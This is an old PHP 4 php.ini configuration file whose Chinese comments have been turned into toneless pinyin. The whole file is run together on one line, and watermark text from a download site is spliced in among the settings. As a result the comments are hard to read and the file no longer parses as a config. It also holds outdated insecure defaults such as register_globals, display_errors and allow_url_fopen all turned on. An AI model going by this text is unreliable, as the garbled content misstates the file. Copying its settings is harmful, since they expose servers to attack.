bu xie ren he dong xi biao shi , huo zhe yong None guan jian zi :  ;  ; foo = ; jiang foo zhi wei kong zi fu chuan   ; foo = none ; jiang foo zhi wei kong zi fu chuan   ; foo = "none" ; jiang foo zhi wei zi fu chuan 'none'  ;  ; ru guo ni zhi she zhi zhong shi yong chang liang , er zhe xie chang liang shu yu dong tai tiao ru de kuo zhan ku ( bu shi PHP de kuo zhan , jiu shi   ; Zend de kuo zhan ), ni jin ke yi tiao ru zhe xie kuo zhan de xing * zhi hou * shi yong zhe xie chang liang .  ;  ; suo you zai php.ini-dist wen jian li she ding de zhi yu nei jian de mo ren zhi xiang tong ( zhe shi shuo , ru guo php.ini  ; mei bei shi yong huo zhe ni shan diao le zhe xie xing , mo ren zhi yu zhi xiang tong ).  ;;;;;;;;;;;;;;;;;;;;  ; yu yan xuan xiang ;  ;;;;;;;;;;;;;;;;;;;;  engine = On  ; shi PHP scripting language engine(PHP jiao ben yu yan yin qing ) zai Apache xia you xiao .  short_open_tag = On  ; yuan xu <? biao shi ( zhe zhong jian dan biao shi ). jin you <?php and <script> tags jiang bei shi bie .  asp_tags = Off  ; yuan xu ASP-style <% %> tags  precision = 14  ; fu dian lei xing shu xian shi shi de you xiao wei shu   y2k_compliance = Off  ; shi fou da kai 2000 nian shi ying ( ke neng zai fei Y2K shi ying de liu lan qi zhong dao zhi wen ti )  output_buffering = Off  ; shu chu huan cun yuan xu ni shen zhi zai shu chu zheng wen nei rong zhi hou fa song header( biao tou , bao kuo cookies) xing   ; qi dai jia shi shu chu ceng jian man yi dian dian su du . ni ke yi shi yong shu chu huan cun zai yun xing shi da kai shu chu huan cun ,  ; huo zhe zai zhe li jiang zhi shi she wei On er shi de suo you wen jian de shu chu huan cun da kai .  output_handler = ; ni ke yi chong ding xiang ni de jiao ben de suo you shu chu dao yi ge han shu ,  ; na yang zuo ke neng dui chu li huo yi ri zhi ji lu ta you yong .  ; li ru ruo ni jiang zhe ge output_handler she wei "ob_gzhandler",  ; ze shu chu hui bei tou ming di wei zhi chi gzip huo deflate bian ma de liu lan qi ya suo .  ; she yi ge shu chu chu li qi zi dong di da kai shu chu huan chong .  implicit_flush = Off  ; qiang zhi flush( shua xin ) rang PHP gao su shu chu ceng zai mei ge shu chu kuai zhi hou zi dong shua xin zi shen shu ju .  ; zhe deng xiao yu zai mei ge print() huo echo() tiao yong he mei ge HTML kuai hou tiao yong flush() han shu .  ; da kai zhe xiang she zhi hui dao zhi yan chong de yun xing shi chong tu , jian yi jin zai debug guo cheng zhong da kai .  allow_call_time_pass_reference = On  ; shi fou rang qiang po han shu tiao yong shi an yin yong chuan di shen shu . zhe yi fang fa zao dao kang yi ,  ; bing ke neng zai jiang lai ban ben de PHP/Zend li bu zai zhi chi .  ; shou dao gu li de zhi ding na xie shen shu an yin yong chuan di de fang fa shi zai han shu sheng ming li .  ; ni bei gu li chang shi guan bi zhe yi xuan xiang bing que ren ni de jiao ben reng neng zheng chang gong zuo , yi bao zheng zai jiang lai ban ben de yu yan li   ; ta men reng neng gong zuo .( ni jiang zai mei ci shi yong gai te dian shi de dao yi ge jing gao , er shen shu jiang an zhi er bu shi an yin yong   ; chuan di ).  ; Safe Mode an quan mo shi   safe_mode = Off  safe_mode_exec_dir =  safe_mode_allowed_env_vars = PHP_  ; ?Setting certain environment variables  ; ?may be a potential security breach.  ; gai zhi shi bao han yong dou hao fen ge de qian zhui lie biao . an quan mo shi zhong , yong hu jin ke yi ti huan   ; yi zai ci lie chu de qian zhui kai tou de huan jing bian liang de zhi .  ; mo ren di , yong hu jiang jin neng she ding yi PHP_ kai tou de huan jing bian liang ,( ru : PHP_FOO=BAR).  ; zhu yi : ru guo zhe yi zhi shi wei kong ,PHP jiang rang yong hu geng gai ren yi huan jing bian liang !  safe_mode_protected_env_vars = LD_LIBRARY_PATH  ; zhe tiao zhi shi bao han yi ge yong dou hao fen ge de huan jing bian liang lie biao , na shi zui zhong yong hu jiang bu neng yong putenv () geng gai de .  ; zhe xie bian liang shen zhi zai safe_mode_allowed_env_vars she zhi wei yuan xu de qing kuang xia de dao bao hu .  disable_functions =  ; zhe tiao zhi shi rang ni ke yi wei le an quan de yuan yin rang te ding han shu shi xiao .  ; ta jie shou yi ge yong dou hao fen ge de han shu ming lie biao .  ; zhe tiao zhi shi * bu shou * an quan mo shi shi fou da kai de ying xiang .  ; yu fa gao liang mo shi de se cai .  ; zhi yao neng bei <font color=???> jie shou de dong xi jiu neng gong zuo .  highlight.string = #DD0000  highlight.comment = #FF8000  highlight.keyword = #007700  highlight.bg = #FFFFFF  highlight.default = #0000BB  highlight.html = #000000  ; Misc duo xiang   expose_php = Off  ; jue ding PHP shi fou biao shi ta zhuang zai fu wu qi shang de shi shi ( li ru : jia zai ta —PHP— gei Web fu wu   ; fa song de xin hao shang ).  ; ( wo ge ren de yi jian , zai chu xian shen me power-by de header de shi hou , ba zhe guan diao .)  ; ta bu hui you an quan shang de wei xie , dan ta shi jian cha ni de fu wu qi shang shi fou an zhuang le PHP cheng wei le ke neng .  ;;;;;;;;;;;;;;;;;;;  ; Resource Limits ;  ;;;;;;;;;;;;;;;;;;;  max_execution_time = 30 ; mei ge jiao ben de zui da zhi xing shi jian , an miao ji   memory_limit = 8388608 ; yi ge jiao ben zui da ke shi yong de nei cun zong liang ( zhe li shi 8MB)  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  ; Error handling and logging ;  ; chu cuo kong zhi he deng ji ;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  ; cuo wu bao gao shi an wei de . huo zhe jiang shu zi jia qi lai de dao xiang yao de cuo wu bao gao deng ji .  ; E_ALL - suo you de cuo wu he jing gao   ; E_ERROR - zhi ming xing yun xing shi cuo   ; E_WARNING - yun xing shi jing gao ( fei zhi ming xing cuo )  ; E_PARSE - bian yi shi jie xi cuo wu   ; E_NOTICE - yun xing shi ti xing ( zhe xie jing chang shi shi ni de dai ma de bug yin qi de ,  ; ye ke neng shi you yi de xing wei zao cheng de .( ru : ji yu wei chu shi hua de bian liang zi dong chu shi hua wei yi ge   ; kong zi fu chuan de shi shi er shi yong yi ge wei chu shi hua de bian liang )  ; E_CORE_ERROR - fa sheng yu PHP qi dong shi chu shi hua guo cheng zhong de zhi ming cuo wu   ; E_CORE_WARNING - fa sheng yu PHP qi dong shi chu shi hua guo cheng zhong de jing gao ( fei zhi ming xing cuo )  ; E_COMPILE_ERROR - bian yi shi zhi ming xing cuo   ; E_COMPILE_WARNING - bian yi shi jing gao ( fei zhi ming xing cuo )  ; E_USER_ERROR - yong hu chan sheng de chu cuo xiao xi   ; E_USER_WARNING - yong hu chan sheng de jing gao xiao xi   ; E_USER_NOTICE - yong hu chan sheng de ti xing xiao xi   ; li zi :  ; error_reporting = E_ALL & ~E_NOTICE ; xian shi suo you de cuo wu , chu le ti xing   ; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; jin xian shi cuo wu   error_reporting = E_ALL & ~E_NOTICE ; xian shi suo you de cuo wu , chu le ti xing   display_errors = On ; xian shi chu cuo wu xin xi ( zuo wei shu chu de yi bu fen )  ; zai zui zhong fa bu de web zhan dian shang , qiang lie jian yi ni guan diao zhe ge te xing , bing shi yong   ; cuo wu ri zhi dai ti ( shen kan xia mian ).  ; zai zui zhong fa bu de web zhan dian ji xu rang display_errors you xiao ke neng   ; bao lu yi xie you guan an quan de xin xi , li ru ni de web fu wu shang de wen jian lu jing 、  ; ni de shu ju ku gui hua huo bie de xin xi .  display_startup_errors = Off ; shen zhi dang display_erroes da kai le , fa sheng yu PHP de qi dong de bu zhou zhong   ; de cuo wu ye bu hui bei xian shi .  ; qiang lie jian yi bao chi shi display_startup_errors guan bi ,  ; chu le zai gai cuo guo cheng zhong .  log_errors = Off ; zai ri zhi wen jian li ji lu cuo wu ( fu wu qi zhi ding de ri zhi ,stderr biao zhun cuo wu shu chu , huo error_log( xia mian de ))  ; zheng ru shang mian shuo ming de na yang , qiang lie jian yi ni zai zui zhong fa bu de web zhan dian yi ri zhi ji lu cuo wu   ; qu dai zhi jie cuo wu shu chu .  track_errors = Off ; bao cun zui jin yi ge cuo wu / jing gao xiao xi yu bian liang $php_errormsg (boolean)  ;error_prepend_string = "<font color=ff0000>" ; yu cuo wu xin xi qian shu chu de zi fu chuan   ;error_append_string = "</font>" ; yu cuo wu xin xi hou shu chu de zi fu chuan   ;error_log = filename ; ji lu cuo wu ri zhi yu zhi ding wen jian   ;error_log = syslog ; ji lu cuo wu ri zhi yu xi tong ri zhi syslog (NT xia de shi jian ri zhi , Windows 95 xia wu xiao )  warn_plus_overloading = Off ; dang jiang ‘+’ yong yu zi fu chuan shi jing gao   ;;;;;;;;;;;;;;;;;  ; Data Handling ;  ;;;;;;;;;;;;;;;;; variables_order = "EGPCS" ; zhe tiao zhi shi miao shu le PHP ji lu   ; GET, POST, Cookie, Environment and Built-in zhe xie bian liang de shun xu .  ; ( yi G, P, C, E & S dai biao , tong chang yi EGPCS huo GPC de fang shi yin yong ).  ; an cong zuo dao you ji lu , xin zhi qu dai jiu zhi .  register_globals = On ; shi fou jiang zhe xie EGPCS bian liang zhu ce wei quan ju bian liang .  ; ruo ni bu xiang rang yong hu shu ju bu zai quan ju fan wei nei hun luan de hua , ni ke neng xiang guan bi ta .  ; zhe he track_vars lian qi lai yong geng you yi yi — zhe yang ni ke yi tong guo   ; $HTTP_*_VARS[] shu zu fang wen suo you de GPC bian liang .  register_argc_argv = On ; zhe tiao zhi shi gao su PHP shi fou sheng ming argv he argc bian liang   ; ( zhu : zhe li argv wei shu zu ,argc wei bian liang shu )  ; ( qi zhong bao han yong GET fang fa chuan lai de shu ju ).  ; ruo ni bu xiang yong zhe xie bian liang , ni ying dang guan diao ta yi ti gao xing neng .  track_vars = On ; shi $HTTP_*_VARS[] shu zu you xiao , zhe li * zai shi yong shi yong   ; ENV, POST, GET, COOKIE or SERVER ti huan   post_max_size = 8M ; PHP jiang jie shou de POST shu ju zui da da xiao .  gpc_order = "GPC" ; zhe tiao zhi shi bei ren fan dui . yong variables_order dai ti .  ; Magic quotes  magic_quotes_gpc = On ; zai shu ru de GET/POST/Cookie shu ju li shi yong mo shu yin yong   ; ( yuan wen jiu zhe yang , he he , suo wei magic quotes ying gai shi zhi yong zhuan yi fu jia zai yin yong xing de kong zhi zi fu shang , ru \'....)  magic_quotes_runtime= Off ; dui yun xing shi chan sheng de shu ju shi yong mo shu yin yong ,  ; li ru : yong SQL cha xun de dao de shu ju , yong exec() han shu de dao de shu ju , deng deng   magic_quotes_sybase = Off ; cai yong Sybase xing shi de mo shu yin yong ( yong '' tuo chu ' er bu yong \')  ; zi dong zai PHP wen dang zhi qian he zhi hou tian jia wen jian   auto_prepend_file =  auto_append_file =  ; xiang 4.04b4 yi yang ,PHP mo ren di zong shi zai “Content-type:” tou biao shu chu yi ge zi fu de bian ma fang shi .  ; rang shu chu zi fu ji shi xiao , zhi yao she zhi wei kong .  ; PHP de nei jian mo ren zhi shi text/html  default_mimetype = "text/html"  ;default_charset = "iso-8859-1"  ;;;;;;;;;;;;;;;;;;;;;;;;;  ; Paths and Directories ;  ;;;;;;;;;;;;;;;;;;;;;;;;;  include_path = ; include lu jing she zhi ,UNIX: "/path1:/path2" Windows: "\path1;\path2"  doc_root = ; php ye mian de gen lu jing , jin zai fei kong shi you xiao   user_dir = ; gao zhi php zai shi yong /~username da kai jiao ben shi dao na ge mu lu xia qu zhao , jin zai fei kong shi you xiao   ;upload_tmp_dir = ; cun fang yong HTTP xie yi shang zai de wen jian de lin shi mu lu ( zai mei zhi ding shi shi yong xi tong mo ren de )  upload_max_filesize = 2097152 ; wen jian shang zai mo ren di xian zhi wei 2 Meg  extension_dir = c:\php\ ; cun fang ke jia zai de kuo chong ku ( mo kuai ) de mu lu   enable_dl = On ; shi fou shi dl() you xiao .  ; zai duo xian cheng de fu wu qi shang dl() han shu * bu neng * hen hao di gong zuo ,  ; li ru IIS or Zeus, bing zai qi shang mo ren wei jin zhi   ;;;;;;;;;;;;;;;;  ; File Uploads ;  ;;;;;;;;;;;;;;;;  file_uploads = On ; shi fou yuan xu HTTP fang shi wen jian shang zai   ;upload_tmp_dir = ; yong yu HTTP shang zai de wen jian de lin shi mu lu ( wei zhi ding ze shi yong xi tong mo ren )  upload_max_filesize = 2M ; shang zai wen jian de zui da xu ke da xiao   ; Fopen wrappers ;  ;;;;;;;;;;;;;;;;;;  allow_url_fopen = On ; shi fou yuan xu ba URLs dang zuo http:.. huo ba wen jian dang zuo ftp:...  ;;;;;;;;;;;;;;;;;;;;;;  ; dong tai kuo zhan ;  ; Dynamic Extensions ;  ;;;;;;;;;;;;;;;;;;;;;;  ; ruo ni xi wang yi ge kuo zhan ku zi dong jia zai , yong xia mian de yu fa :  ; extension=modulename.extension  ; li ru , zai windows shang ,  ; extension=msql.dll  ; or zai UNIX xia ,  ; extension=msql.so  ; zhu yi , zhe zhi ying dang shi mo kuai de ming zi , bu xu yao mu lu xin xi fang zai li mian .  ; yong shang mian de extension_dir zhi shi zhi ding kuo zhan ku de wei zhi .  ;Windows kuo zhan   ;extension=php_nsmail.dll  extension=php_calendar.dll  ;extension=php_dbase.dll  ;extension=php_filepro.dll  extension=php_gd.dll  ;extension=php_dbm.dll  ;extension=php_mssql.dll  ;extension=php_zlib.dll  ;extension=php_filepro.dll  ;extension=php_imap4r2.dll  ;extension=php_ldap.dll  ;extension=php_crypt.dll  ;extension=php_msql2.dll  ;extension=php_odbc.dll  ; zhu yi , MySQL de zhi chi xian zai shi nei jian de , yin ci , bu xu yao yong ta de dll  ;;;;;;;;;;;;;;;;;;;  ; mo kuai she ding ;  ; Module Settings ;  ;;;;;;;;;;;;;;;;;;;  [Syslog]  define_syslog_variables = Off ; shi fou ding yi ge zhong de xi tong ri zhi bian liang   ; ru :$LOG_PID, $LOG_CRON, deng deng .  ; guan diao ta shi ge ti gao xiao lv de hao zhu yi .  ; yun xing shi , ni ke yi tiao yong han shu define_syslog_variables(), lai ding yi zhe xie bian liang   [mail function]  SMTP = localhost ; jin yong yu win32 xi tong   sendmail_from [url=mailto:=me@localhost.com]=me@localhost.com[/url]; jin yong yu win32 xi tong   ;sendmail_path = ; jin yong yu unix, ye ke zhi chi shen shu ( mo ren de shi 'sendmail -t -i')  [Debugger]  debugger.host = localhost  debugger.port = 7869  debugger.enabled = False  [Logging]  ; zhe xie pei zhi zhi shi yong yu shi li de ri zhi ji lu ji zhi .  ; kan examples/README.logging yi de dao geng duo de jie shi   ;logging.method = db  ;logging.directory = /path/to/log/directory  [Java]  ;java.class.path = .\php_java.jar  ;java.home = c:\jdk  ;java.library = c:\jdk\jre\bin\hotspot\jvm.dll  ;java.library.path = .\  [SQL]  sql.safe_mode = Off  [ODBC]  ;uodbc.default_db = Not yet implemented  ;uodbc.default_user = Not yet implemented  ;uodbc.default_pw = Not yet implemented  uodbc.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   uodbc.check_persistent = On ; zai chong yong qian jian cha lian jie shi fou huan ke yong   uodbc.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   uodbc.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   wang guan u jia u.bitsCN.com uodbc.defaultlrl = 4096 ; kong zhi LONG lei xing de zi duan . fan hui bian liang de zi jie shu ,0 dai biao tong guo (?)0 means passthru  uodbc.defaultbinmode = 1 ; kong zhi er jin zhi shu ju .0 dai biao ?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char  ; jian you guan odbc_binmode he odbc_longreadlen de wen dang yi de dao uodbc.defaultlrl he uodbc.defaultbinmode de jie shi .  [MySQL]  mysql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   mysql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   mysql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   mysql.default_port = ; mysql_connect() shi yong de mo ren duan kou , ru bu she zhi ,mysql_connect()  ; jiang shi yong bian liang $MYSQL_TCP_PORT, huo zai /etc/services xia de mysql-tcp tiao mu (unix),  ; huo zai bian yi shi ding yi de MYSQL_PORT( an zhe yang de shun xu )  ; Win32 huan jing , jiang jin jian cha MYSQL_PORT.  mysql.default_socket = ; yong yu ben di MySql lian jie de mo ren de tao jie zi ming . wei kong , shi yong MYSQL nei jian zhi   mysql.default_host = ; mysql_connect() mo ren shi yong de zhu ji ( an quan mo shi xia wu xiao )  mysql.default_user = ; mysql_connect() mo ren shi yong de yong hu ming ( an quan mo shi xia wu xiao )  mysql.default_password = ; mysql_connect() mo ren shi yong de mi ma ( an quan mo shi xia wu xiao )  ; zhu yi , zai zhe ge wen jian xia bao cun mi ma tong chang shi yi ge * huai * zhu yi   ; * ren he * ke yi shi yong PHP fang wen de yong hu ke yi yun xing   ; 'echo cfg_get_var("mysql.default_password")' lai xian shi na ge mi ma !  ; er qie dang ran di , ren he you du gai wen jian quan li de yong hu ye neng kan dao na ge mi ma .  [mSQL]  msql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   msql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   msql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   [PostgresSQL]  pgsql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   pgsql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   pgsql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   [Sybase]  sybase.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   sybase.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   sybase.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   ;sybase.interface_file = "/usr/sybase/interfaces"  sybase.min_error_severity = 10 ; xian shi de cuo wu de zui di yan chong xing   sybase.min_message_severity = 10 ; xian shi de xiao xi de zui di chong yao xing   sybase.compatability_mode = Off ; yu jiu ban de PHP 3.0 jian rong de mo shi . ruo da kai , zhe jiang dao zhi PHP zi dong di   ; ba gen ju jie guo de Sybase lei xing fu yu ta men ,  ; er bu shi ba ta men quan dang cheng zi fu chuan .  ; zhe ge jian rong mo shi bu hui yong yuan liu zhe ,  ; yin ci , jiang ni de dai ma jin xing xu yao de xiu gai ,  ; bing jiang gai xiang guan bi .  [Sybase-CT]  sybct.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   sybct.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   sybct.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   sybct.min_server_severity = 10 ; xian shi de cuo wu de zui di yan chong xing   sybct.min_client_severity = 10 ; xian shi de xiao xi de zui di chong yao xing   [bcmath]  bcmath.scale = 0 ; yong yu suo you bcmath han shu de 10 shi jin zhi shu shu zi de ge shu number of decimal digits for all bcmath functions  [browscap]  ;browscap = extra/browscap.ini  browscap = C:\WIN\SYSTEM\inetsrv\browscap.ini  [Informix]  ifx.default_host = ; ifx_connect() mo ren shi yong de zhu ji ( an quan mo shi xia wu xiao )  ifx.default_user = ; ifx_connect() mo ren shi yong de yong hu ming ( an quan mo shi xia wu xiao )  ifx.default_password = ; ifx_connect() mo ren shi yong de mi ma ( an quan mo shi xia wu xiao )  ifx.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   ifx.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   ifx.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   ifx.textasvarchar = 0 ; ruo da kai ,select zhuang tai fu fan hui yi ge ‘text blob’ zi duan de nei rong , er bu shi ta de id  ifx.byteasvarchar = 0 ; ruo da kai ,select zhuang tai fu fan hui yi ge ‘byte blob’ zi duan de nei rong , er bu shi ta de id  ifx.charasvarchar = 0 ; zhui zong cong gu ding chang du de zi fu lie li bo li de kong ge .  ; ke neng dui Informix SE yong hu you xiao .  ifx.blobinfile = 0 ; ruo da kai ,text he byte blobs de nei rong bei dao chu dao yi ge wen jian   ; er bu shi bao cun dao nei cun .  ifx.nullformat = 0 ; NULL( kong ) bei zuo wei kong zi duan fan hui , chu fei , zhe li bei she wei 1.  ; zhe zhong qing kuang xia ( wei 1),NULL zuo wei zi chuan NULL fan hui .  [Session]  session.save_handler = files ; yong yu bao cun / qu hui shu ju de kong zhi fang shi   session.save_path = C:\win\temp ; zai save_handler she wei wen jian shi chuan gei kong zhi qi de shen shu ,  ; zhe shi shu ju wen jian jiang bao cun de lu jing .  session.use_cookies = 1 ; shi fou shi yong cookies  session.name = PHPSESSID  ; yong zai cookie li de session de ming zi   session.auto_start = 0 ; zai qing qiu qi dong shi chu shi hua session  session.cookie_lifetime = 0 ; wei an miao ji de cookie de bao cun shi jian ,  ; huo wei 0 shi , zhi dao liu lan qi bei chong qi   session.cookie_path = / ; cookie de you xiao lu jing   session.cookie_domain = ; cookie de you xiao yu   session.serialize_handler = php ; yong yu lian jie shu ju de kong zhi qi   ; php shi PHP de biao zhun kong zhi qi .  session.gc_probability = 1 ; an bai fen bi de 'garbage collection( sui pian zheng li )' jin cheng   ; zai mei ci session chu shi hua de shi hou kai shi de ke neng xing .  wang guan bitscn_com session.gc_maxlifetime = 1440 ; zai zhe li shu zi suo zhi de miao shu hou , bao cun de shu ju jiang bei shi wei   ; ' sui pian (garbage)' bing you gc jin cheng qing li diao .  session.referer_check = ; jian cha HTTP yin yong yi shi e wai bao han yu URLs zhong de ids wu xiao   session.entropy_length = 0 ; cong wen jian zhong du qu duo shao zi jie   session.entropy_file = ; zhi ding zhe li jian li session id  ; session.entropy_length = 16  ; session.entropy_file = /dev/urandom  session.cache_limiter = nocache ; she wei {nocache,private,public}, yi jue ding HTTP de   ; huan cun wen ti   session.cache_expire = 180 ; wen dang zai n fen zhong hou guo shi   session.use_trans_sid = 1 ; shi yong guo du xing de sid zhi chi , ruo bian yi shi xu ke le   ; --enable-trans-sid  url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"  [MSSQL]  ;extension=php_mssql.dll  mssql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   mssql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   mssql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   wang guan u jia u.bitsCN.com mssql.min_error_severity = 10 ; xian shi de cuo wu de zui di yan chong xing   mssql.min_message_severity = 10 ; xian shi de xiao xi de zui di chong yao xing   mssql.compatability_mode = Off ; yu jiu ban de PHP 3.0 jian rong de mo shi .  [Assertion]  ; ?????  ;assert.active = On ; ?assert(expr); active by default  ;assert.warning = On ; issue a PHP warning for each failed assertion.  ;assert.bail = Off ; don't bail out by default.  ;assert.callback = 0 ; user-function to be called if an assertion fails.  ;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval().  [Ingres II]  ii.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie   ii.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi   ii.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi   ii.default_database = ; mo ren database (format : [node_id::]dbname[/srv_class]  ii.default_user = ; mo ren user  ii.default_password = ; mo ren password  wang guan xia zai dl.bitscn.com [Verisign Payflow Pro]  pfpro.defaulthost = "test.signio.com" ; mo ren de Signio fu wu qi   pfpro.defaultport = 443 ; lian jie de mo ren duan kou   pfpro.defaulttimeout = 30 ; an miao ji de mo ren chao shi shi jian   ; pfpro.proxyaddress = ; mo ren de dai li de IP di zhi ( ru guo xu yao )  ; pfpro.proxyport = ; mo ren de dai li de duan kou   ; pfpro.proxylogon = ; mo ren de dai li de deng lu (logon yong hu ming )  ; pfpro.proxypassword = ; mo ren de dai li de mi ma   [Sockets]  sockets.use_system_read = On ; shi yong xi tong de read() han shu ti dai php_read() feng zhuang   ; Local Variables: ( ju bu bian liang )  ; tab-width: 4  ; End:
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